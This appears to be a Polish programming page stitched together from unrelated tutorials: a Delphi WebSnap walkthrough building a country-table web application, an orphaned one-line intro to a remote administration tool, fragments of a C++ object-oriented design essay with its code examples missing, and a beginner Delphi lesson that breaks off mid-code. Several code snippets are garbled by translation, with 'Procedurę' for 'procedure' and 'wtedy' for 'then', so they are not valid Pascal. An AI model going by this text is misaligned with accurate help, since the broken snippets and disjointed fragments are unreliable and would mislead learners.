
Omówimy tu jak stworzyć aplikację WebSnap o nazwie Country Tutorial. Aplikacja wyświetla tabelkę informacyjną o krajach użytkowników Sieci. Użytkownicy mogą dodawać ,usuwać i edytować informacje w tabeli. Po zakończeniu, aplikacja powinna wyglądać mniej więcej tak:
Wymagana jest wersja Delphi, która zawiera w sobie komponent WebSnap.
Uruchamianie kreatora aplikacji WebSnap
1.Najpierw tworzymy folder nazwany np. WebSnap Tutorial dla przechowywania plików projektu, jakie będą tworzone w trakcie pracy.
2.Uruchamiamy Delphi i wybieramy File | New | Other
3.W oknie dialogowym New Items, zaznaczamy zakładkę WebSnap, wybieramy WebSnap Application i klikamy OK
4.W oknie dialogowym WebSnap Application :
* Wybieramy Web App Debugger
* W polu Class Name, wpisujmey Country Tutorial
* Wybieramy Page Module jako typ komponentu
* W polu Page Name wpisujemy Home
5. Klikamy OK
Zapisywanie wygenerowanych plików i projektu
1.Wybieramy File | Save All
2.W oknie Save, przechodzimy do folderu WebSnap Tutorial
3. W polu File name, zmieniamy unit2.pas na HomeU.pas i klikamy Save
4.W polu File name, zmieniamy unit1.pas na CountryU.ps i klikamy Save
5.W polu File name, zmieniamy project1.dpr na CountryTutorial.dpr i klikamy Save
Określamy tytuł aplikacji
1.Wybiermay View | Project Manager
2.W Project Manager rozwijamy CountryTutorial.exe i klikamy dwukrotnie HomeU
3.W górnej linii Object Inspector, wybierz ApplicationAdapter z listy rozwijanej
4.W zakładce Properties, wprowadź Country Tutorial dla właściwości ApplicationTitle
5.Kliknij zakładkę Preview w oknie edytora. Jeśli zakładka Previe nie jest pokazana, użyj strzałki w prawo na dole dla przewinięci przez zakładki. Tytuł aplikacji jest wyświetlane na górze strony z nazwą strony Home
Ta strona jest bardzo podstawowa. Możesz poprawić ją przez edytowanie pliku HomeU.html, albo przez użycie zakładki edytora HomeU.html albo przez edytor zewnętrzny.
Tworzenie strony CountryTable
Strona sieciowa modułu definiuje opublikowaną stronę i działa również jako kontener dla składowych danych. Gdy strona internetowa musi być zwrócona do użytkownika końcowego, moduł strony WWW pobiera potrzebne informacje z danych składowych w niej zawartych i wykorzystuje te informacje aby pomóc stworzyć stronę. Tu dodamy nowy moduł trony do aplikacji WebSnap. Moduł strony będzie dodany do drugiej widocznej strony do aplikacji. Pierwsza strona ,Home, została zdefiniowana kiedy stworzyliśmy aplikację .Druga strona, nazwana CountryTable, pokazuje tabelkę z informacjami o krajach.
Dodawanie nowego modułu strony internetowej
1.Wybieramy File | New | Other
2.W oknie New Items, wybieramy zakładkę WebSnap, wybieramy WebSnap Page Module, klikamy OK
3.W oknie dialogowym , ustawiamy Producer Type na AdapterPage Producer.
4.W polu Page Name, wpisujemy CountryTable. Zauważmy ,ze Title również zmienia swój typ
5.Pozostawiamy resztę pól z ich wartościami domyślnymi (poniższy rysunek)
6.Klikamy OK
Teraz moduł CountryTable powinien teraz pojawić się w IDE. Po zapisaniu modułu, dodamy nowe składowe do modułu CountryTable
Zapisywanie nowego modułu strony internetowej
1.Wybieramy File | Save
2.W polu File name, wpisujemy CountryTableU.pas i klikamy Save
Dodawanie składowych danych do modułu CountryTable
TTable i TDataSerAdapter są komponentami związanymi z danymi; dostarczają dostępu do danych. TTable dostarcza danych do tabeli HTML/ TDataSetAdapter pozwala skryptowi po stornie serwera na dostęp do składowej TTable. Będziemy dodawać te składowe do naszej aplikacji
Dodawanie składowych
1.Wybieramy View | Project Manager
2.W Project Manager rozwijamy CoOuntryTutorial.exe i klikamy dwukrotnie na ContryTableU
3.Wybieramy View | Object TreeView. Okno Objet TreeView stanie się aktywne
4.Wybieramy zakładkę BDE na palecie Component
5.Wybieramy zakładkę Table i dodajemy ją do modułu strony CountryTable Web
6.Wybieramy komponent Session i dodajemy go do modułu strony CountryTable Web. Komponent Session jest wymagany ponieważ używamy komponentu BDE (TTable) w aplikacji wielowątkowej.
7.Wybieramy komponent Session , nazwany Session1 domyslnie, w module strony Web lub Object TreeView. To wyświetli wartości komponentu Session w Object Inspector.
8.W Object Inspector, ustawiamy właściwość AutoSessionName na True
9.Wybieramy komponent Table w module strony Web lub Object TreeView. Wyświetli to wartości komponentu Table w Object Inspector
10.W Object Inspector, zmieniamy następujące właściwości:
* Ustawiamy właściwość DatabaseName na DBDEMOS
* We właściwości Name wpisujemy Country
* Ustawiamy właściwość TableName na country.db
* Ustawiamy właściwość Active na True
Określenie pola kluczowego
Pole kluczowe jest stosowane do identyfikacji rekordów wewnątrz tabeli. Staje się to ważne kiedy dodajemy stronę edycji do aplikacji. Dla określenia pola kluczowego:
1.W Object TreeView, rozwijamy Session i węzeł DBDemos, potem wybieramy węzeł country.db. Ten węzeł jest składową Country Table
2.Klikamy prawy klawiszem w country.db i wybieramy Fields Editor
3.Klikamy prawym klawiszem na CountryTable.Country okna editroa i wybieramy Add All Fields.
4.Wybieramy pole Name z listy dodanych pól
5.W Object Inspector, rozwijamy właściwość ProviderFlags
6.Ustawmiamy właściwość pfInKey na True
Podłączenie komponentu adaptera
Skończyliśmy dodawać komponenty bazodanowe. Teraz dla ujawnienia danych w TTable przez skryptowanie po stronie serwera, musimy dołączyć komponent adaptera (TDataSetAdapter). Aby dodać komponent:
1.Wybieramy komponent DataSetAdapter z zakładki WebSnap z palety Component. Dodajemy go do modułu CountryTable Web
2.Zmieniamy następujące właściwości w Object Inpector:
* Ustawiamy właściwość DataSet na Country
* Ustawiamy właściwość Name na Adapter
Kiedy skończymy, moduł strony CountryTable Web powinien wyglądać podobnie do poniższego:
Ponieważ elementy w module są niewizualne, nie ma potrzeby zastanawiać się gdzie pojawią się w module.
Tworzenie siatki dla wyświetlania danych
Dodawanie siatki
Teraz dodamy siatkę dla wyświetlenia danych z bazy danych krajów
1.Wybieramy View | Project Manager
2.W Project Manager, rozwijamy CountryTutorial.exe i klikamy dwukrotnie CountryTableU
3.Wybieramy View | Object TreeView lub klikamy na Object TreeView
4.Rozwijamy komponent AdapterPageProducer. Ten komponent generuje skrypt strony serwera dla szybkiej budowy tabeli HTML
5.Klikamy prawym klawiszem na WebPageItems i wybieramy NewComponent
6.W oknie dialogowym Add Web Component, wybierz AdapterForm i kliknij OK. Pojawi się komponent AdapterForm1 w Object TreeView
7.Kliknij prawym klawiszem AdapterForm1 i wybierz New Component.
8.W oknie Add Web Component, wybierz AdapterGrid wtedy kliknij OK. Komponent AdapterGrid1 pojawi się w Object TreeView
9.W Object Inspector, ustaw właściwość Adapter na Adapter
Aby podejrzeć stronę, wybierz zakładkę CountryTableU na górze edytora kodu, potem wybierz zakładkę Preview na dole. Jeśli zakładka Preview nie jest widoczna, użyj strzałki na dole dla przewinięci przez zakładki. Powinien pojawić się podgląd podobny do poniższego:
Zakładka Preview pokazuje końcową , statyczną stronę HTML , jak wyglądałaby w przeglądarce. Ta strona jest generowana z dynamicznej strony HTML ,którą zawiera skrypt. Aby zobaczyć tekst przedstawiający polecenia skryptu, wybierz zakładkę HTML Script na dole okna edytora
Zakładka HTML Script pokazuje mieszaninę HTML i skryptu. HTML i skrypt są rozróżniane w edytorze przez kolor czcionki i atrybuty. Domyślnie znaczniki HTML pojawiają się jako pogrubiony ,czarny tekst, nazwy atrybutów HTML pojawiają się na czarno, a wartości atrybutów na niebiesko. Skrypt, jaki pojawia się między nawiasami skryptu <% %> jest pokolorowany na zielono. Możesz zmienić domyślny kolor czcionek i atrybutów dla tych pozycji w zakładce Color okna Editor Properties, które może być wyświetlone przez kliknięcie prawym klawiszem myszko na edytorze i wybranie Properties. Są dwie inne zakładki powiązane z HTML. Zakładka HTML Result pokazuje surową zawartość HTML. Zauważ ,że HTML Result, HTML Script i Previe są tylko do odczytu. Możesz użyć zakładki edytora HTML , CountryTable.html dla edytowania. Jeśli chcesz poprawić wygląd tej strony, możesz dodać HTML używając albo zakładko CountryTable.html albo edytora zewnętrznego.
Dodawanie poleceń edycyjnych do siatki
Użytkownicy mogą aktualizować zawartość tabeli przez usuwanie, wstawianie lub edytowanie wiersza. Aby umożliwić użytkownikom takie aktualizacje, dodamy składowe poleceń. Aby dodać składowa poleceń:
1.W Object TreeView dla CountryTable rozwijamy komponent AdapterPageProducer i wszystkie jego gałęzie.
2.Klikamy prawym klawiszem komponent AdapterGrid1 i wybieramy Add All Columns. Dodane jest pięć kolumn do grupy adaptera
3.Prawym klawiszem klikamy ponownie komponent AdapterGrid1 i wybieramy New Component.
4.Wybieramy AdapterCommandColumn a potem klikamy OK. Dodaliśmy wejście AdapterCommandColumn1 do komponentu AdapterGrid1.
5.Kliknij prawym klawiszem AdaptrerCommandColumn1 i wybierz Add Commands
6.Naciśnij klawisz Ctrl i wybierz poelcenia DeleteRow, EditRow i NewRow, kliknij OK
7.Aby podejrzeć stronę ,kliknij zakładkę Preview na dole edytora kodu. Są tam teraz trzy nowe przyciski (DeleteRow. EditRow i NewRow) na końcu każdego wiersza w tabeli (poniższy rysunek). Kiedy aplikacja jest uruchamiana, naciśnięcie któregoś z nich wykonuje powiązane z nim działanie.
Dodawanie formularza edycyjnego
Teraz możemy stworzyć moduł strony Web dla obsługi formularza edycyjnego tabeli krajów. Użytkownicy będą mogli zmieniać dane w aplikacji przez formularz edycji. Szczególnie, kiedy użytkownik naciśnie przyciski EditRow lub NewRow, pojawi się formularz edycyjny . Kiedy użytkownik skończy edycję, zmodyfikowana informacja automatycznie pojawi się w tabeli
Dodawanie nowego modułu strony Web
1.Wybieramy File|New|Other
2.W oknie New Items , wybierz zakładkę WebSnap i wybioerz Web Snap Page Modul i kliknij OK
3.W oknie dialogowym , ustaw Producer Type na AdapterPageProducer
4.Ustaw Pole Page Name na CountryForm
5.Odznacz pole Published, więc strona nie pojawi się na liście dostępnych stron w tym serwisie. Formularz edycji jest dostępny przez przycisk Edit, a jego zawartość zależy od tego jaki wiersz tabeli krajów jest modyfikowany
6.Resztę pól i wyborów ustawiamy na ich wartości domyślne. Klikay OK
Zapisywanie nowego modułu
1.Wybieramy File | Save
2.W polu File name wpisujmey CountryFormU.pas i klikamy Save
Uczynienie CountryTableU dostępnym dla nowego modułu
1.Wybieramy File | Use Unit
2.Wybieramy CountryTableU z listy i klikamy OK
3.Wybieramy File | Save
Dodawanie pól wejściowych
1.Wybierz View | Project Manager
2.W oknie Propject Manager, rozwiń CountryTutorial.exe i kliknij dwukrotnie wejście CountryFormU
3.W Object TreeView rozwiń komponent AdapterPageProducer , kliknij prawym klawiszem WebPageItems i wybierz New Component
4.Wybierz AdapterForm i kliknij OK. Pojawi się AdapterForm1 w Object TreeView
5.Kliknij prawym klawisze AdapterForm1 i wybierz New Component
6.Wybierz AdapterFieldGroup potem kliknij OK. Pojawi się AdapterFieldGroup1 w Object TreeView
7.W Object Inspector ustaw właściwość Adapter na CountryTable.Adapter. Ustaw właściwość AdapterMode na Edit
8.Aby podejrzeć stronę, kliknij zakładkę Preview na dole edytora kodu. Powinien wyglądać podobnie do tego
Dodawanie przycisków
1.W Object TreeView rozwiń komponent AdapterPageProducer i wszystkie jego gałęzie
2.Kliknijprawym klawiszem AdapterForm1 i wybierz New Component
3.Wybierz AdapterCommandGroup potemkliknij OK. AdapterCommandGroup1 pojawi się w Object TreeView
4.W ObjectInspector, ustaw właściwość DisplayComponent na AdapterFieldGroup1
5.Kliknij prawym klawiszem na wejście AdapterCommandGroup1 i wybierz Add Commands
6.Naciśnij klawisz Ctrl i wybierz polecenia Cancel,Apply i Referesh Row.Kliknij OK
7.Aby zobaczyć podgląd, kliknij zakładkę Preview na dole edytora kodu. Powinno wyglądać to jak poniżej:
Łączenie działań formularza z siatka strony
Gdy użytkownik kliknie przycisk, działanie adaptera jest wykonywane ,co z kolei prowadzi do opisanego działania. Aby określić jak strona będzie wyświetlana po akcji adaptera:
1.W Object TreeView, rozwiń AdapterCommandGroup1 aby pokazać wejścia CmdCancel, CmdApply i CmdRefreshRow
2.Wybierz CmdCancel. W Object Inspector, wpisz CountryTable we właściwości PageName
3.Wybierz CmdApply. W Object Inspector, wpisz CountryTable we właściwości PageName
Łączenie działania siatki ze stroną formularza
Działanie adaptera jest wykonywane przez wciśnięcia przycisku na siatce. Aby określić jaka strona jest wyświetlona w odpowiedzi na działanie adaptera:
1.Wybierz View | Project Manager
2.W Project Manager, rozwiń CountryTutorial.exe i kliknij dwukrotnie wejście CountryTableU
3.W Object TreeView, rozwiń komponent AdapterPageProducer i wszystkie jego gałęzie aby pokazać CmdNewRow, CmdEditROw i CmdDeleteRow. Pojawią się one pod wejściem AdapterCommandColuimn1
4.Wybierz CmdNewRow. W Object Inspector , wpisz CountryForm we właściwości PageName
5. Wybierz CmdEditRow. W Object Inspector , wpisz CountryForm we właściwości PageName
Uruchomienie skończonej aplikacji
Aby zweryfikować ,że aplikacja działa, i ,że wszystkie przyciski wykonują działania, uruchamiamy aplikację. Kiedy uruchamiamy aplikację, uruchamiamy serwer i widzimy aplikację w przeglądarce. Aby uruchomić aplikację:
1.WybierzRun | Run. Wyświetli się formatka. Wykonywalne aplikacje siecowe Web App Debugger są serwerami COM, a formatka jaką widzisz jest oknem konsoli dla serwera COM. Za pierwszym razem kiedy uruchamiasz projekt, rejestrujesz obiekt COM, do którego bezpośredni dostęp ma obiekt COM.
2.Wybiersz Tools | Web App Debugger
3.W oknie Web App Debugger
4.Kliknij domyślne łącze URL dla wyświetlenia strony ServerInfo. Strona ta wyświetla nazwy wszystkich zarejestrowanych wykonywalnych Web Application Debugger
5.Wybierz Country Tutorial z listy rozwijanej i kliknij przycisk Go
Teraz przeglądarka pokaże aplikację Country Tutorial. Kliknij na link Country Tutrorial aby zobaczyć stronę CountryTutorial.
Dodawanie raportowania błędów
Obecnie aplikacja nie pokazuje żadnych błędów użytkownikowi. Np. jeśli ktoś wpisze literę do pola Area rekordu kraju, nie pojawi się żadna informacja o wystąpieniu błędu. Teraz dodamy komponent AdapterErrorList dla wyświetlenia błędów, które występują podczas wykonywania działań adaptera kiedy edytowana jest tablica krajów
Dodawanie wsparcia błędów do siatki
1.W Object TreeView dla CountryTable, rozwiń komponent AdapterPageProducer i wszystkie jego gałęzie aby pokazać AdapterForm1
2.Kliknij prawym klawiszem AdapterForm1 i wybierz New Component
3.Wybierz AdapterErrorList z listy i kliknij OK. Pojawi się wejście AdapterErroeList1 w Object TreeView
4.Przenieś AdapterErrorList powyżej AdapterGrid1
5.W Object Inspectro, ustaw właściwość Adapter na Adapter
Dodawania wspierania błędów do formatki
1.Wybierz View | Project Mananger
2.W Project Manager rozwiń CountryTutorial.exe i kliknij dwukrotnie na wejściu CountryFormU
3.W Object TreeView, rozwiń komponent AdapterPageProducer i wszystkiejego gałęzie aby pokazać AdapterForm1
4.Kliknij prawym klawiszem na AdapterForm1 i wybierz New Component
5.Wybierz AdapterErrorList z listy i kliknij OK. Pojawi się wejście AdapterErroList1 w Object TreeView
6.Przesuń AdapterErrorList1 powyżej AdapterFieldGroup1
7.W Object Inspector , ustaw właściwość Adapter na CountryTable Adapter
Testowanie mechanizmu raportowania błędów
Aby zaobserwować mechanizm raportowania błędów, należy najpierw dokonać małej zmiany w IDDE. Wybieramy Tools | Debbugger Options. W zakładce Language Exceptions, upewnij się,że odznaczono Stop przy Delphi Exceptions, co pozwala aplikacji kontynuować ,kiedy wykryte zostaną wyjątki. Teraz przetestujmy błędy siatki:
1.Uruchom aplikację i przeglądaj stronę CountryTable używając Web Application Debugger.
2.Otwórz inne okno przeglądarki i przeglądaj stronę CountryTable
3.Kliknij przycisk DeleteRow na pierwszym wierszu siatki
4.Bez odświeżania drugiej przeglądarki, kliknij DeleteRow na pierwszym wierszu w siatce
Pojawi się błąd "Row not found in Country"
Testowanie błędu formularza
1.Uruchom aplikację i przeglądaj stronę CountryTable używając Web Application Debugger
2.Kliknij przycisk EditROw. Wyświetli się strona CountryForm
3.Zmień pole Area na 'abc' i kliknij przycisk Apply
Pojawi się komunikat błędu "Invalid value for field 'Area'".
W tym artykule pokażemy jak zaprogramować narzędzie dla zdalnej administracji. Zrobimy to w Delphi (7). 1.Wprowadzenie.
i używać tak:
Większość , ale nie wszystkie, moduły są lepiej wyrażone jako typy definiowane przez użytkownika. Dla koncepcji, gdzie "reprezentacja modułu" jest pożądana nawet kiedy jest dostępna właściwa funkcja dla zdefiniowania typów, programista może zadeklarować typ i tylko pojedynczy obiekt tego typu. Alternatywnie, język może dostarczyć koncepcji modułu dodatkowo i inaczej niż koncepcja klasy.
Funkcje, dla których interfejs wywołania może być zdefiniowany, ale gdzie implementacja nie może być zdefiniowana z wyjątkiem określonego kształtu, oznaczymy jako "virtual" (W Simula i C++ termin "może być redefiniowane później w klasie pochodnej z tej klasy"). Przy danej definicji, możemy ogólną funkcję manipulowania kształtami:
Modyfikują klasę integer aby uczynić 2+a poprawnym. Modyfikacja istniejącego kodu powinna być unikana w miarę możliwości kiedy dodajemy nowe obiekty do systemu .Zazwyczaj programowanie obiektowe oferuje wysokiej jakości funkcje dla dodawania do systemu bez modyfikacji istniejącego kodu. W tym przypadku jednak, lepszego rozwiązania dostarcza abstrakcja danych
vector_iterator może teraz być zadeklarowany i używany dla vector tak:
Więcej niż jeden iterator może być aktywny dla pojedynczego obiektu w danym czasie , a typ może mieć kilka różnych typów iteratorów zdefiniowanych dla niego , więc mogą być wykonywane różne rodzaje iteracji. Iterator jest raczej prostą strukturą sterującą. Bardziej ogólny mechanizm może być również zdefiniowany. Na przykład, standardowa biblioteka C++ dostarcza klasy współprogramu. Dla wielu typów "kontenera", takich jak vector, można uniknąć wprowadzania oddzielny typ iteratora przez zdefiniowanie mechanizmu iteracji jako część samego typu. vector może być zdefiniowany aby miał "bieżący element":
Wtedy iteracja może być wykonywana tak:
To rozwiązanie nie jest tak ogólne jak rozwiązanie iteratora, ale unika kosztów w ważnym specjalnym przypadku gdzie tylko jeden rodzaj iteracji jest konieczny i gdzie tylko jedna iteracja w danym czasie jest konieczna dla vector. Jeśli jest to konieczne, można zastosować bardziej ogólne rozwiązanie. Zwróć uwagę ,że "proste" rozwiązania wymagają większej ostrożności od projektanta klasy kontenera niż rozwiązanie iteratora. Technika typu iteratora może być również używana do definiowania iteratorów, które mogą być ograniczone do kilku różnych typów kontenerów zatem dostarcza mechanizmu dla iteracji przez różne typy kontenerów z pojedynczym typem operatora
Teraz możemy stworzyć i używać stosów:
Tylko kreator stacks, g (), musi martwić się o różne rodzaje stacks, użytkownik jakaś_funkcja () jest całkowicie izolowany od takich szczegółów. Ceną takiej elastyczności jest taki ,że każde działanie na takim typie musi być funkcją wirtualną.
Tu Windows określa inside jako protected tak więc klasy takie jak Dumb_terminal mogą odczytać ją i odkryć jaką częścią obszaru Windows może manipulować. Niestety, "oczywista" odpowiedź dla języka zorientowanego na abstrakcję danych jest inna : "lista funkcji które potrzebują dostępu w deklaracji klasy" Nie ma nic specjalnego w tych funkcjach. W szczególności, nie mogą być funkcjami składowymi. Funkcje nie składowe z dostępem do prywatnych klas składowych jest nazywana friend w C++. Powyższa klasa complex została zdefiniowana przy użyciu friend. Czasami ważne jest ,że funkcja może być określona jako friend w więcej niż jednej klasy. Mając pełną listę składowych i friends dostępnych jest największą zaletą kiedy próbujemy zrozumieć zachowanie typu i szczególnie kiedy chcemy je zmodyfikować. Hermetyzacja gwałtownie wzrasta na znaczeniu wraz z wielkością programu i z liczbą i geograficznym rozproszeniem jego użytkowników.
Sekcja dla początkujących
Ta część da ci podstawy do pracy z tekstem. Zalecane jest wypróbowanie każdej nowej koncepcji, a po zakończeniu tej części będziesz mógł zaprojektować bardzo prostą aplikację Klient/Serwer.
IDE Delphi
Otwórz Delphi. To co widzisz to IDE (Integrated Development Enviroment) Delphi. Podzielone jest na 4 części ; Pasek tytułowy, zaiwrający pasek narzędziowy , paletę komponentów, Object Inspector, Object TreeView i przestrzeń roboczą - która pokazuje Form1. Można zamknąć Object TreeView ponieważ nie będziemy z niego korzystać.
Przestrzeń robocza
Początkowo pokazywana w przestrzeni roboczej jest Form1. Jest to Form Designer, gdzie projektujesz wygląd swojej aplikacji. Notatnik, WordPad, okna dialogowe, Kalkulator itp. Są wszystkie przykładami formatek (lub okien). Tuż pod Form Designer jest Code Editor, czyli miejsce gdzie będziemy pisać nasz kod naszych aplikacji. Dla przechodzenia między nimi używamy F12
Nasz pierwszy program
Po pierwsze, uchwyć brzeg Form1 i przeciągnij do pożądanego rozmiaru. Teraz mamy miejsce gdzie do gry wchodzi Object Inspector - zauważysz menu rozwijane na górze Object Inspectora, które mówi Form1. Oznacza to ,że zakładki Properties i Events tuż poniżej, wyświetlają Właściwości i Zdarzenia naszej Form1. Teraz przenieś kursor myszki i przenieś nad pasek tytułowy i nad paletę komponentów. Paleta Component to miejsce z zakładkami Standard, Additional, Win32 itd. Kliknij komponent Button, ten z tekstem 'OK'. Teraz kliknij gdziekolwiek na formatce aby go umieścić. Zapisujemy aplikację w tym miejscu: File , Save All, wybieramy odpowiednie miejsce, klikamy zapisz dla Unit1, teraz Project1 będzie nazwą .EXE, więc możemy wpisać "FirstProgram" i zapisać go. Kliknij na Project na pasku tytułowym i Compile All Projects. Może trochę potrwać ponieważ kompilator Delphi konwertuje twój projekt do skompilowanego pliku wykonywalnego. Przejdź do folderu gdzie zapisałeś go i uruchom FirstProgram.exe. OK, ale to nie
wszystko. Faktycznie klikając na przycisk nic się nie dzieje. Jest to zasadniczo szkielet aplikacji Windows z pustym przyciskiem. Wróćmy do Delphi, wybieramy naszą formatkę i spójrzmy na jej właściwości. Popracujemy teraz z Object Inspectorem, przewiniemy do właściwości Caption i zastąpmy 'Form1' przez 'Pierwszy Program'. Zróbmy to samo z Button, ale zmieniamy jego nagłówek 'Kliknij mnie'. Teraz napiszmy jakiś kod - wybieramy Button (nazwany Button1) i kliknij zakładkę Events Object Inspectora. Wybieramy zdarzenie OnClick, i wpisz w nazwie dla tego zdarzenia w białym miejscu. Nazwa ta jest twoim wyborem, coś jak KiedyGoKliknę i naciśnij Enter. Teraz skoczymy do edytora kodu i naszego Unit1.pas i dodajmy następujące wiersze:
Procedurę TForm1.KiedyGoKliknę(Sender: TObject);
begin
end;
Nie musisz znać zawiłości całego kodu teraz, wystarczy wiedzieć ,co wpisane między begin i end; będzie wykonywane kiedy Button zostanie naciśnięte prze użytkownika w czasie uruchamiania. Czas wykonania mamy wtedy kiedy .EXE jest uruchamiane jako przeciwieństwo czasu projektowaniu, który mamy teraz. Wstawiamy tę linię między Begin i end: ShowMessage('Witaj świecie'); . Skompilujmy nasz przejdźmy i uruchommy go aby zobaczyć co się wydarzy kiedyu klikniemy Button. To jest trochę ciekawsze. Przyjrzymy się kodowi ,który powinien wyglądać tak:
Procedurę TForm1.KiedyGoKliknę(Sender:TObject);
begin
ShowMessage ('Witaj świecie');
end;
Nie musisz robić wcięcia linii ShowMessage, ale jest to dobre dla czytelności, kiedy kod zaczyna się rozwijać. Inną rzeczą zasługującą na uwagę jest nazwa zdarzenia OnClick naszego Button1. Nazwaliśmy go "KiedyGoKliknę" ale każda nazwa jest możliwa, jest to tylko nazwa zdarzenia. Dobrą praktyką jest rozpoczynanie każdego słowa z dużej litery.
Komentarze
Komentarze są liniami tekstu w Unit ,które nie robią niczego i są tam do celów informacyjnych. Oto kilka przykładów komentarzy w Delphi:
// podwójny backslah jest sposobem komentowania
{ tu mamy inny komentarz }
{
ten komentarz jest wewnątrz pary nawiasów klamrowych
tak jak przykład powyższy
}
Mogą być one przydatne jeśli chcemy jeśli chcemy odnotować coś jako przypomnienie. Zauważ ,że jeśli widzisz nawiasy klamrowe używane ze znakiem dolara, takie jak '{$R *.dfm}' oznacza ona dyrektywą kompilatora. Dyrektywy kompilatora są czymś , czego nie będziemy używać.
Zmienne
Wróćmy do programu, zauważmy ,że jest tam więcej niż tylko obsługa zdarzenie OnClick Buttona ale które wyjaśnimy później. Wystarczy pamiętać ,że kod główny będzie wprowadzony w sekcji implementation. Musimy zadeklarować zmienne zanim zostaną użyte i deklarujemy je słowem kluczowym var (chyba ,że są one globalne, ale o tym póniej) .Wstawmy parę zmiennych do naszego zdarzenia OnClick Buttona:
procedurę TForm1.KiedyGoKliknę(Sender:TObject);
var
NumberOne : integer;
NumberTwo : integer;
TheResult : integer;
begin
NumberOne := 10;
NumberTwo := 5;
TheResult := NumberOne + NumberTwo;
ShowMessage('Wynik tej sumy = ' + IntToStr(TheResult));
end;
Wyjaśnijmy o co tu chodzi. Sekcja var jest to miejsce gdzie deklarujemy ,że używamy trzech zmiennych typu integer. Integer jest liczbą - wpisz 'integer' w Unit i naciśnij F1 aby przejść do pomocy Delphi. Pokazany tam jest zakres i parę innych typów zmiennych. Sekcja var pojawia się przed Begin a po słowie kluczowym procedure lub function (słowo kluczowe: słowo zarezerwowane dla kompilatora Delphi, to znaczy nie można nazwać zmiennej Begin, end, procedurę itd.) a przypisujemy wartości i używamy ich w bloku kodu głównego. Blok kodu głównego znajduje się między begin a end;. Zwróć uwagę ,że każda linia w kodzie głównym kończy się średnikiem. Średnik wskazuje koniec polecenia. " :=" jest znakiem przypisania, więc nadajemy NumberOne wartość 10. Potem. Potem przypisujemy liczbę 5 do zmiennej całkowitej NumberTwo, a potem przypisujemy do TheResult wartość tych dwóch zmiennych dodanych razem. Linia końcowa wyświetla komunikat : Wynik tej sumy = 15. Widzimy ,że jeślim wstawimy zmienną TheResult wewnątrz cudzysłowu
otrzymamy coś takiego:
'Wynik tej sumy = TheResult'. Więc musimy dodać operator + aby dodać zawartość tej zmiennej. Również ,używamy IntToStr() ponieważ nie możemy wyświetlić zmiennej całkowitej w tej sytuacji, musimy skonwertować ją do typu łańcuchowego. Tu mamy kilka innych typów zmiennych :
string - łańcuch znaków to coś takiego 'abc123 ?><.xzs'
Char - jest to pojedynczy znak taki jak 'A' lub '3' lub '?'
Boolean - zmienna logiczna równa się albo True lub False
IF THEN ELSE
Zacznijmy nowy projekt (File,New, Application) i umieścimy komponenty: Button, Label i Memo na formatce. Można je znaleźć w zakładce Standard palety komponentów. Klikamy dwukrotnie na Button. To skrót do zrobienia tego co przedtem - tworzy kod obsługi zdarzenia dla zdarzenia OnClick przycisku, ale tym razem nadaje domyślną nazwę Button1Click. Wróćmy do formatki i rozegrajmy temat komponentów, rozmiar, pozycjonowanie itd i sprawdzimy ich pewne właściwości. Możemy ustawić właściwość Font, kolor i rozmiar czcionki, kolor Memo, dodać ScrollBar do Memo - wszystko zmieniane w czasie projektowania. Wróćmy do naszego Unitu i wstawmy taki kod:
Procedurę TForm1.Button1Click(Sender: TObject);
var
s : string;
begin
s := 'To jest nowy nagłówek.';
if Label1.Caption = 'Label1' wtedy
begin
Label1.Caption := s;
Memo1.Lines.Add('Nagłówek Label1 został zmieniony!');
end;
end;
Dla naszej instrukcji if mówimy ,że jeśli warunek jest prawdziwy wtedy wykonuje się blok kodu między nowymi begin i end; Warunek jest między słowami kluczowymi if i then, a ponieważ nagłówek Label równa się 'Label1' kod jest wykonywany wewnątrz nowego bloku kodu. Kod który jest wykonywany pokazuje jak dodawać linię do Memo (musimy użyć nazwy Memo. Memo1 w tym przypadku) a zmiana nagłówka pokazuje jak wykonać zmianę w czasie uruchamiania właściwości Caption. Rozszerzymy to pojęcie dodając sekcję else:
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
begin
s := 'To jest nowy nagłówek.';
if Label1.Caption = 'Label1' then
begin
Label1.Caption := s;
Memo1.Lines.Add('Nagłówek Label1 został zmieniony!');
end
else begin
Memo1.Lines.Add('Jesteśmy w sekcji else naszego kodu.');
end;
end;
OK, zauważmy ,że usunęliśmy średnik przed end przed else. Jest tak ponieważ kiedy używamy ';' przy end;, oznacza to koniec bloku kodu. Nie chcemy kończyć bloku kodu tam ponieważ chcemy skojarzyć sekcję else wewnątrz tego bloku. Powinno być to dość jednoznaczne, kompilujemy i uruchamiamy projekt aby zobaczyć co się wydarzy. Po kliknięciu naszego Buttona raz, mamy oczywiście zmiane nagłówka Label1, więc kiedy klikniemy go drugi raz, warunek if wylicza False(jest nieprawdziwe, nie równe 'Label1') i jest wykonywana sekcja między begin i end; else.
Delphi nie jest czuły na wielkość liter i odstępy między kodem. Wprowadzimy komponent Edit. Weźmy jeden i wstawmy go gdzieś na formatce (ponownie zakładka Standards. Wróćmy do Unit i zmieńmy kod jak poniżej:
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
i := StrToInt(Edit1.Text);
if i > 10 then
begin
Memo1.Lines.Add('The value in Edit1 is greater than 10.');
end
else begin
Memo1.Lines.Add('The value in Edit1 isnt greater than 10.');
end;
end;
Zauważmy, że jeśli mamy coś, ale liczbę w komponencie Edit, uzyskujemy błąd. Jest tak ponieważ konwertujemy zawartość Edit do zmiennej typu całkowitego więc możemy przypisać ją do "i" Zrobimy tą konwersję używając funkcji StrToInt. Edit1.Text jest właściwością Text Edit1 .Spójrzmy na nią w Object Inspector, w tej chwili mówimy o Edit1, ale możemy to usunąć. Reszta wyjaśnia się samo - if i (wartość w Edit1) jest większa niż 10 then
Wprowadziliśmy operator większy niż ( > ).Poniżej kilka innych operatorów jakich możemy użyć:
MATEMATYCZNE: + (dodawanie), - (odejmowanie), * (mnożenie), div (dzielenie)
LOGICZNE : and : if (i = 6) and (ii = 5) then
or : : if (i = 6) or (ii = 5) then
RÓWNOŚCI: > (większy niż) , < (mniejszy niż) , = (równe),
< > (nie równe) , <= (mniejsze niż lub równe)
>= (większe niż lub równe)
Uwaga : nie należy mylić operatora przypisania ":=" z operatorem równości '='
Zagnieżdżone instrukcje if
Jeśli po instrukcji if umieścimy inna instrukcję if, mówimy o zagnieżdżeniu if. Będziemy to zazwyczaj robić ponieważ chcemy sprawdzić kilka warunków. Oto modyfikacja naszego Unita:
procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
i := StrToInt(Edit1.Text);
if i > 10 then
begin
